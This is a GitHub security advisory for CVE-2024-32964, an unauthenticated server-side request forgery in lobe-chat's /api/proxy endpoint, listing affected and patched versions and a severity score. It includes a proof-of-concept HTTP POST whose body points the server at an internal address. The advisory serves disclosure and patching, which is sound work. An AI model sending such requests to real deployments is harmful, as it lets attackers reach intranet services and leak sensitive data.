Skip to content

lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

Critical severity GitHub Reviewed Published May 10, 2024 in lobehub/lobe-chat • Updated May 14, 2024

Package

npm @lobehub/chat (npm)

Affected versions

<= 0.150.5

Patched versions

0.150.6

Description

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

image

image

image

PoC

POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/

Impact

SSRF ,All users will be impacted.

References

@arvinxx arvinxx published to lobehub/lobe-chat May 10, 2024
Published to the GitHub Advisory Database May 10, 2024
Reviewed May 10, 2024
Published by the National Vulnerability Database May 14, 2024
Last updated May 14, 2024

Severity

Critical
9.0
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H

Weaknesses

CVE ID

CVE-2024-32964

GHSA ID

GHSA-mxhq-xw3g-rphc

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.